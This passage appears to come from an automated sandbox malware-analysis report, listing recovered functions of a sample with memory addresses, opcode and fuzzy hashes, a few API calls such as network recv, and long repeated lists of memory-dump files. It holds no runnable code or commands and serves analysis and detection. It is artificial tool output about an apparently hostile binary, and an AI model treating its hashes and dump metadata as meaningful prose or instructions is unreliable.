Instruction Fuzzy Hash: 6EE01ABB20E1207D700280823F24BFB175DD0D5735371C827F547C6806E689AA8E6131

Function 04D20D48 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1751442165.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88d0519a1690fdf4df42fbc3ad98315ee231dbfe29313496c6c766cbb5b26d9a
Instruction ID: be69fca850ba603dbcc1abfc1e0d56e3b818ddc3878bdec1d29b63c22d6e20c2
Opcode Fuzzy Hash: 88d0519a1690fdf4df42fbc3ad98315ee231dbfe29313496c6c766cbb5b26d9a
Instruction Fuzzy Hash: 2EE0E2FB61D2207EB00284827F25AFA576DE5E5B35335C83BF442C640AD69A5A4F6232

Function 04D20D3B Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1751442165.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de34c6efdf326eb9532193068006918a2d3214f4d533aacf52ae60ede26f9648
Instruction ID: 99ee655849535224e805fc884f076c64a8aefe3b47da7a92214d6b810bc7333c
Opcode Fuzzy Hash: de34c6efdf326eb9532193068006918a2d3214f4d533aacf52ae60ede26f9648
Instruction Fuzzy Hash: CFE046BB20D1206E700280623B14AFA276DC0D4A35336C837F442C6809E69AA98F6231

Non-executed Functions

Function 006731A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00673323

Strings

1#IND, xrefs: 006744B3
1#INF, xrefs: 006744DE
1#SNAN, xrefs: 006744BA
1#QNAN, xrefs: 006744C1

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 9de56a8702d0e8274c74c63159200d2f8a2c390c8cdd3836e8b91cf929b4accd
Instruction ID: ec2f93033da5bcfb9d16c668046912231c94ce998d0c1397b53b07659f09a83e
Opcode Fuzzy Hash: 9de56a8702d0e8274c74c63159200d2f8a2c390c8cdd3836e8b91cf929b4accd
Instruction Fuzzy Hash: ECC24B71E086288FDB65CE28DD447E9B3B6EB48305F1481EAD84DE7340EB75AE819F40

Function 0063E0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0063E10B
recv.WS2_32(?,?,00000008,00000000), ref: 0063E140

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 2c8cfbff59221b1eef6ac1d2a22609f0c113dfa9dae79389247cd11caa2cfed4
Instruction ID: 4fd2163fa5d39ca1965cea73f032ad5529c36dd187839877c12ec78e8d910406
Opcode Fuzzy Hash: 2c8cfbff59221b1eef6ac1d2a22609f0c113dfa9dae79389247cd11caa2cfed4
Instruction Fuzzy Hash: 48310A71A002489FD750CB6CDC81BEB77BEEB09734F011626F514E73D1C675A8488BA0

Function 00672D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 376a5576fd4b68412969484e8d56b81b9300990959441ba6e7d287c5c1a7ddeb
Instruction ID: 4e7fe90bd276dceac71a174c82add35cd2640836546613f5052bbcf5b95e9683
Opcode Fuzzy Hash: 376a5576fd4b68412969484e8d56b81b9300990959441ba6e7d287c5c1a7ddeb
Instruction Fuzzy Hash: DDF11C71E012299FDF14CFA8C8906EDBBB2FF48314F258269D919AB344D731AE418B94

Function 0064CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0064CF52,?,00000003,00000003,?,0064CF87,?,?,?,00000003,00000003,?,0064C4FD,00632FB9,00000001), ref: 0064CC03

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 77a323eff7fd65b80eda16b3b91a8b6fe5679ff84bc013a5f8159ed55d5226f9
Instruction ID: 848fcea81c4198ad1f624e914fdf9bac703df66c0bebbb87f79cb9767227a791
Opcode Fuzzy Hash: 77a323eff7fd65b80eda16b3b91a8b6fe5679ff84bc013a5f8159ed55d5226f9
Instruction Fuzzy Hash: 06D02232543038A3CB522FD6EC048ACBB5F8E02B243001112E9091B320CBA2AD005BD0

Function 00667F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 006680B2

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 64669babd631c3e79488d27d076faf6f68bd25e965727fa38eff46ce7159b6c7
Instruction ID: 605d2cfbabe95802b8ae7fcc9a77180384548599e1b7a870aaee43957c0da4e0
Opcode Fuzzy Hash: 64669babd631c3e79488d27d076faf6f68bd25e965727fa38eff46ce7159b6c7
Instruction Fuzzy Hash: 8B517F306086496EDF384A398895FFE679B9F52308F140B1DE442D7392CE769D4EC355

Function 00634DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

